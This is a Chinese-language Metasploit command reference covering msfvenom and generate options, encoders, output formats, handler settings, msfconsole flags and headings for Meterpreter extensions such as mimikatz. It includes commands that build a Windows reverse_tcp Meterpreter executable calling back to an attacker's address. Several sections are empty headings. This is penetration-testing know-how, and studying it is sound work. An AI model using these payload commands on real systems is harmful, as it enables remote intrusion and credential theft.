1.2 Metasploit常用命令速查

0x01 Msfvenom命令

metasploit v4.11.0-2014122301版本后已弃用msfpayload、msfencode命令，已使用msfvenom命令替代，https://blog.rapid7.com/2014/12/09/good-bye-msfpayload-and-msfencode/。

(1) Generate参数说明

除了msfvenom命令可以生成载荷文件外，还可以进入指定Payload后用Generate命令生成载荷文件。

msf5 > use payload/windows/x64/meterpreter/reverse_tcp
msf5 payload(windows/x64/meterpreter/reverse_tcp) > generate -h
Usage: generate [options]
Generates a payload. Datastore options may be supplied after normal options.
Example: generate -f python LHOST=127.0.0.1
OPTIONS:
    -E        强制编码
    -O <opt>  -o参数别名，已弃用
    -P <opt>  总期望有效载荷大小，自动生成适当的NOP sled长度
    -S <opt>  生成（大型）Windows二进制文件时要使用的新节名
    -b <opt>  设定规避字符集，比如: '\x00\x0a\xff'
    -e <opt>  指定需要使用的编码器
    -f <opt>  指定输出文件格式
    -h        帮助选项
    -i <opt>  指定Payload的编码次数
    -k        保留模板行为并将有效载荷作为新线程注入
    -n <opt>  有效载荷上预加一个[length]大小的nosled
    -o <opt>  指定输出文件名
    -p <opt>  指定Payload系统平台
    -x <opt>  指定要用作模板的自定义可执行文件
msf5 payload(windows/x64/meterpreter/reverse_tcp) > generate -f exe lhost=192.168.1.120 -o shell.exe
[*] Writing 7168 bytes to shell.exe...

(2) Msfvenom参数说明

root@kali:~# msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
Options:
    -l, --list            <type>            列出所有模块：payloads, encoders, nops, encrypt, formats等
    -p, --payload         <payload>        指定需要使用的payload攻击载荷
        --list-options                                列出payload标准，高级和规避选项
    -f, --format          <format>        指定输出文件格式（--list formats获取列表）
        -e, --encoder         <encoder>        指定需要使用的编码器（--list encoders获取列表）
            --sec-name        <value>            生成Windows二进制文件时使用的新节名称，默认值：随机4个字符的字符串
        --smallest                                        使用所有可用的编码器生成最小的payload
            --encrypt         <value>            应用于shellcode的加密或编码类型（--list encrypt获取列表）
        --encrypt-key     <value>            用于--encrypt的密钥
        --encrypt-iv      <value>            encrypt的初始化向量
    -a, --arch            <arch>            指定Payload系统架构（--list archs获取列表）
        --platform        <platform>    指定Payload系统平台（--list platforms获取列表）
    -o, --out             <path>            保存Payload攻击载荷文件
    -b, --bad-chars       <list>            设定规避字符集，比如: '\x00\x0a\xff'
    -n, --nopsled         <length>        在有Payload添加[length]大小的nopsled
        --pad-nops                                        自动预先填充数量（nops减去有效负载长度）
    -s, --space           <length>        设定Payload的最大长度
        --encoder-space   <length>        设定编码后的Payload最大字节数（默认s值）
    -i, --iterations      <count>            指定Payload的编码次数
    -c, --add-code        <path>            指定要包含的其他win32 shellcode文件
        -x, --template        <path>            指定要用作模板的自定义可执行文件，只支持32位操作系统
            -k, --keep                                        保留模板行为并将Payload注入新线程
    -v, --var-name        <value>            指定用于某些输出格式的自定义变量名称
    -t, --timeout         <second>        从STDIN读取Payload等待的秒数（默认为30,0为禁用）
    -h, --help                                                帮助选项

(3) Msfvenom常用有效载荷

(4) Msfvenom常用编码器

root@kali:~# msfvenom --list encoders
php/base64，ruby/base64，cmd/powershell_base64
x86/countdown，x86/alpha_upper，x86/shikata_ga_nai，x86/fnstenv_mov，x64/xor

(5) Msfvenom支持文件格式

• 软件架构/Payload架构/目标系统架构三者必须统一（x86/x86_64/x64），否则可能会出现出错。
• 大写字母代替：[H]arp、[P]erl、Rub[Y]、[R]aw、[J]s、e[X]e、[D]ll、[V]BA、[W]ar、Pytho[N]。 ```bash root@kali:~# msfvenom —list formats Executable formats（可执行格式）：asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, jsp, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-cmd, psh-net, psh-reflection, vba, vba-exe, vba-psh, vbs, war

Transform formats（转换格式）：bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript

<a name="Xw6Ro"></a>
### (6) Advanced高级配置选项
这里笔者只看了exploit/multi/handler和windows/x64/meterpreter/reverse_tcp两个常用模块的高级配置选项，更多模块的高级配置选项可以通过advanced和show advanced命令查看。
```bash
PrependMigrate                            是否在新进程中生成并运行shellcode
PrependMigrateProc                    生成并运行shellcode的进程名称
AutoRunScript                                创建会话时自动运行的脚本
InitialAutoRunScript                创建会话时运行的初始脚本，优先AutoRunScript
EnableStageEncoding                    编码第二阶段有效载荷
EnableUnicodeEncoding                自动将UTF-8字符串编码为十六进制
StageEncoder                                如果设置了EnableStageEncoding，则需要选择使用的编码器
ExitOnSession                                创建会话后从利用漏洞返回
SessionCommunicationTimeout    应该杀死此会话之前无活动的秒数
SessionExpirationTimeout        必须强行关闭此会话之前的秒数
AutoLoadStdapi                            自动加载Stdapi扩展
AutoSystemInfo                            自动捕获系统信息的初始化
AutoVerifySession                        自动验证和删除无效的会话
AutoVerifySessionTimeout        等待会话验证发生的超时时间（以秒为单位）
AutoUnhookProcess                        自动加载Unhook扩展和Unhook进程
PayloadProcessCommandLine        有效负载将使用的显示命令行
PayloadUUIDName                            一个人性化的名称来引用这个唯一的有效负载（需要跟踪）
PayloadUUIDRaw                            表示UUID的原始8字节PUID值的十六进制字符串
PayloadUUIDSeed                            生成有效负载UUID时使用的字符串(确定性)
PayloadUUIDTracking                    是否自动注册生成的uuid
PingbackRetries                            还有多少其他成功的pingbacks
PingbackSleep                                两次ping之间的睡眠时间（以秒为单位）
ReverseAllowProxy                        即使指定了代理，也允许反向tcp。回连时不会通过代理，而是直接连接到LHOST
ReverseListenerBindAddress    本地系统上要绑定到的特定IP地址
ReverseListenerBindPort            本地系统上要绑定到的端口(如果与LPORT不同)
ReverseListenerComm                    用于此侦听器的特定通信通道
ReverseListenerThreaded            在新线程中处理每个连接
SessionRetryTotal                        因网络故障而尝试重新连接的秒数
SessionRetryWait                        两次重新连接尝试之间等待的秒数
StageEncoderSaveRegisters        如果设置了EnableStageEncoding，则在阶段有效负载中保留其他寄存器
StagerRetryCount                        如果第一次连接失败，stager应该重试的次数
StagerRetryWait                            在尝试重新连接之间等待stager的秒数
StagerVerifySSLCert           是否在Meterpreter中验证HTTPS SSL证书
StageEncodingFallback                如果所选stage编码器不兼容，退回到无编码状态
VERBOSE                                            启用详细状态消息
WORKSPACE                                        指定此模块的工作空间
ContextInformationFile            包含上下文信息的信息文件
DisablePayloadHandler                禁用所选负载的处理程序代码
EnableContextEncoding                编码有效负载时使用临时上下文
ListenerTimeout                            等待新会话的最大秒数
WfsDelay                                        等待会话时的其他延迟
HandlerSSLCert                            统一PEM格式的SSL证书的路径，对于HTTP传输忽略

0x02 Msfconsole命令

root@kali:~# msfconsole -h
This copy of metasploit-framework is more than two weeks old.
 Consider running 'msfupdate' to update to the latest version.
Usage: msfconsole [options]
Common options（常用选项）:
    -E, --environment ENVIRONMENT    设置Rails环境，默认为RAIL_ENV环境变量或'production'
Database options（数据库选项）:
    -M, --migration-path DIRECTORY   指定包含其他数据库迁移的目录
    -n, --no-database                禁用数据库支持
    -y, --yaml PATH                  指定包含数据库设置的YAML文件
Framework options（框架选项）:
    -c FILE                          加载指定的配置文件
    -v, -V, --version                显示版本
Module options（模块选项）:
        --defer-module-loads         除非明确要求，否则延迟模块加载。
    -m, --module-path DIRECTORY      加载另一个模块路径
Console options（控制台选项）:
    -a, --ask                        在退出Metasploit之前询问或接受“ exit -y”
    -H, --history-file FILE          将命令历史记录保存到指定文件
    -L, --real-readline              使用系统Readline库而不是RbReadline
    -o, --output FILE                输出到指定文件
    -p, --plugin PLUGIN              在启动时加载插件
    -q, --quiet                      启动时不打印Banner
    -r, --resource FILE              执行指定的资源文件
    -x, --execute-command COMMAND    执行指定的控制台命令 (多条命令时用;分隔)
    -h, --help                       帮助

0x03 Metasploit5命令

(1) 数据库管理命令（Database Manage Command）

(2) 核心命令（Core Commands）

(3) 模块命令（Module Commands）

(4) 作业、脚本命令（Job、Script Commands）

(5) 后端数据库命令（Database Backend Commands）

(6) 开发、利用命令（Developer、Exploit Commands）

0x04 Meterpreter命令

(1) 核心命令（Core Commands）

(2) 文件系统命令（Stdapi: File System Commands）

(3) 网络、系统命令（Stdapi: Networking、System Commands）

(4) 用户界面、音频、摄像头命令（Stdapi: User interface、Webcam Commands）

(5) 提权、属性、密码命令（Priv: Elevate、Timestomp、Password Commands）

0x05 Meterpreter扩展

扩展包括：espia、incognito、lanattacks、peinjector、python、unhook、extapi、kiwi、mimikatz、powershell、sniffer、winpmem。

(1) Espia、Winpmem、Peinjector、Unhook、Sniffer Commands

(2) Lanattacks: DHCP、TFTP Commands

(3) Python、Powershell Commands

(4) Incognito、Mimikatz、Kiwi Commands

(5) Extapi：Window、Service、Clipboard、ADSI、WMI Management Commands

0x06 Meterpreter脚本

Metasploit5版本中有部分Meterpreter脚本和Post下的一些模块都已经不再支持继续使用了，有的甚至已被删除，如：enum_chrome、enum_shares脚本和enum_firefox模块等，至于还有多少已弃用的脚本模块我也不知道。笔者在这里只针对常用脚本模块做了简单说明，具体脚本模块的使用方法请通过“-h”参数查询，由于笔者个人精力有限，就不去进行详细测试了！！！

(1) 单独脚本命令（26）

(2) 有替代模块的脚本（38）

(3) 其它可加载Post模块（已测110）

(4) 其它可加载Post模块（未测84）